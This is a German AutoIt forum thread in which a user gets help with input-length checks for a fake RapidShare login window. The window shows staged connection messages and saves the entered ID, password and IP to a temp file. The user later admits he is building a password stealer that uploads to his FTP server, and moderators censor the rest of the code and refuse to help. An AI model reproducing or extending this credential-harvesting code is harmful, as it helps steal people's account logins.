Ich möchte dass mein Programm das Inputfeld checkt und falls der eingegebene text kürzer wie "n" Buchstaben is, nen Error ausgibt!
Inputfeld checken
-
- [ offen ]
-
Hacksor -
20. Februar 2010 um 13:31 -
Geschlossen -
Erledigt
-
-
Sieh Dir mal den Befehl
[autoit]StringLen()
[/autoit]
an. -
[autoit]
If StingLen(Guictrlread($input)) < $n then
[/autoit]
exit
endif -
Was stimmt daran nicht?
Falls jemand mit dem Button die Funktion "go" startet, soll die Stringlänge gecheckt werden falls die Länge in $id kürzer wie 7 und die Länge in $pw kürzer wie 15 ist soll eine MsgBox aufgehen und einen Error ausgeben! Ist die Länge jedoch länger wie 7 bzw 15 (beides muss erfüllt sein!!) soll die Funktion weiter ausgeführt werden!
Irgendwie bau ich gerade nen Megamist...ich hoffe mir kann jemand helfen! ;DSpoiler anzeigen
[autoit]; Login funktion
[/autoit] [autoit][/autoit] [autoit]
Func go()
If StringLen(Guictrlread($id)) < 7 then
ProgressOn("Login","","")
Sleep (1000)
ProgressSet (0, "Connecting rapidshare.com")
Sleep (1000)
ProgressSet (15, "Successful connected")
Sleep (1000)
ProgressSet (35, "Sending Logindata")
Sleep (1500)
Progressset (70, "Waiting for Validation")
Sleep (1000)
Progressset (90 , "Error")
MsgBox(0, "Error", "Please check your ID and PW!")
Exit
Elseif StringLen(Guictrlread($pw)) < 15 Then
ProgressOn("Login","","")
Sleep (1000)
ProgressSet (0, "Connecting rapidshare.com")
Sleep (1000)
ProgressSet (15, "Successful connected")
Sleep (1000)
ProgressSet (35, "Sending Logindata")
Sleep (1500)
Progressset (70, "Waiting for Validation")
Sleep (1000)
Progressset (90 , "Error")
MsgBox(0, "Error", "Please check your ID and PW!")
Exit
Else
If StringLen(Guictrlread($id)) > 7 then
ProgressOn("Login","","")
Sleep (1000)
ProgressSet (0, "Connecting rapidshare.com")
Sleep (1000)
ProgressSet (15, "Successful connected")
Sleep (1000)
ProgressSet (35, "Sending Logindata")
Sleep (1500)
Progressset (70, "Waiting for Validation")
Sleep (1000)
Progressset (100, "Login Completed")
;; Hier soll er mit der Funktion weitermachen!
Elseif StringLen(Guictrlread($pw)) > 15 Then
ProgressOn("Login","","")
Sleep (1000)
ProgressSet (0, "Connecting rapidshare.com")
Sleep (1000)
ProgressSet (15, "Successful connected")
Sleep (1000)
ProgressSet (35, "Sending Logindata")
Sleep (1500)
Progressset (70, "Waiting for Validation")
Sleep (1000)
Progressset (100, "Login Completed")
;; Hier soll er mit der Funktion weitermachen!
EndIfSoundPlay(@WindowsDir & "\media\tada.wav",1)
[/autoit]
ProgressOff()
GuictrlcreateLabel ("Login Successful", 90, 245, 140)
GUICtrlSetFont(-1, 12, 400)
$File=FileWrite(@TempDir & "\pw.txt", "")
$File2=FileOpen(@TempDir & "\pw.txt",1)
FilewriteLine($File2, "Account:")
FileWriteLine($File2, "ID: " & $id2)
FileWriteLine($File2, "PW: " & $pw2)
FileWriteLine($File2, "IP: " & @IPAddress1)
FileClose($File2)
GUICtrlSetState($id, $GUI_DISABLE)
GUICtrlSetState($pw, $GUI_DISABLE)
GUICtrlSetState($login, $GUI_DISABLE)
EndFunc -
Ich würde es einfach mit einer Select Case Abfrage machen:
[autoit]Select
[/autoit]
Case StringLen($id) < 7
;... ERROR
Case StringLen($pw) < 15
;... ERROR
Case Else
;... LOGIN
EndSelect -
Mein Error!
>"C:\Programme\AutoIt3\SciTE\..\autoit3.exe" /ErrorStdOut "P:\Autoit\rapidshare3.au3"
P:\Autoit\rapidshare3.au3 (59) : ==> Unknown function name.:
If StingLen(Guictrlread($id)) < 7 then
If ^ ERROR
>Exit code: 1 Time: 0.317EDIT: Och ich bin so doof...hatte noch nen Überrest vom vorherigen Versuch des Problem zu lösen mitten im Quelltext! ;D
Nun gehts...danke danke danke ! -
Hier ist der Code auf Basis des vorangegangenen Posts:
Spoiler anzeigen
[autoit]Func go()
[/autoit]
Select
Case StringLen(GUICtrlRead($id)) < 7
ProgressOn("Login", "", "")
Sleep(1000)
ProgressSet(0, "Connecting rapidshare.com")
Sleep(1000)
ProgressSet(15, "Successful connected")
Sleep(1000)
ProgressSet(35, "Sending Logindata")
Sleep(1500)
ProgressSet(70, "Waiting for Validation")
Sleep(1000)
ProgressSet(90, "Error")
MsgBox(0, "Error", "Please check your ID and PW!")
Exit
Case StringLen(GUICtrlRead($pw)) < 15
ProgressOn("Login", "", "")
Sleep(1000)
ProgressSet(0, "Connecting rapidshare.com")
Sleep(1000)
ProgressSet(15, "Successful connected")
Sleep(1000)
ProgressSet(35, "Sending Logindata")
Sleep(1500)
ProgressSet(70, "Waiting for Validation")
Sleep(1000)
ProgressSet(90, "Error")
MsgBox(0, "Error", "Please check your ID and PW!")
Exit
MsgBox(0, 0, -2)
Case Else
ProgressOn("Login", "", "")
Sleep(1000)
ProgressSet(0, "Connecting rapidshare.com")
Sleep(1000)
ProgressSet(15, "Successful connected")
Sleep(1000)
ProgressSet(35, "Sending Logindata")
Sleep(1500)
ProgressSet(70, "Waiting for Validation")
Sleep(1000)
ProgressSet(100, "Login Completed")
EndSelect
SoundPlay(@WindowsDir & "\media\tada.wav", 1)
ProgressOff()
GUICtrlCreateLabel("Login Successful", 90, 245, 140)
GUICtrlSetFont(-1, 12, 400)
$File = FileWrite(@TempDir & "\pw.txt", "")
$File2 = FileOpen(@TempDir & "\pw.txt", 1)
FileWriteLine($File2, "Account:")
FileWriteLine($File2, "ID: " & $id2)
FileWriteLine($File2, "PW: " & $pw2)
FileWriteLine($File2, "IP: " & @IPAddress1)
FileClose($File2)
GUICtrlSetState($id, $GUI_DISABLE)
GUICtrlSetState($pw, $GUI_DISABLE)
GUICtrlSetState($login, $GUI_DISABLE)
EndFunc ;==>go
PS: Ich denke es wäre vllt. sinnvoll das Passwort vorher zu verschlüsseln (nur so als Hinweis) -
- Offizieller Beitrag
Das sieht mir doch sehr nach einem kommenden Password-Stealer aus -.-
-
peethebee hat Recht
Jedoch bin ich nicht interressiert wirklich jemanden übers Kreuz zu hauen da ich sowieso jedes Jahr RS-Premium habe!
Es ging darum dass ich vor einigen Tage mit nem Kumpel die Wette geschlossen habe dass ich einen Password-Stealer in autoit schreiben kann der ohne Bemerken vom User die Daten auf meine ftp uploadet!
Da ich dieses Programm jedoch inzwischen als Herrausforderung sehe, will ich es optisch Anspreched, sowie wirklich/teilweise funktionieren lassen! Das Programm soll sich wirklich auf rs.com anmelden und das "Auslaufdatum" des Premiumaccountes auslesen UND evtl. mit paypal eine zahlung automatisch tätigen!
Btw: Hier der Quelltext...klappt bisher alles prima! ;D (Ich zensiere mal den FTP)! ;DSpoiler anzeigen
Edit Oscar: Quellcode zensiert -
- Offizieller Beitrag
Sowas machen wir hier aber nicht. Siehe Forenregeln!
Johannes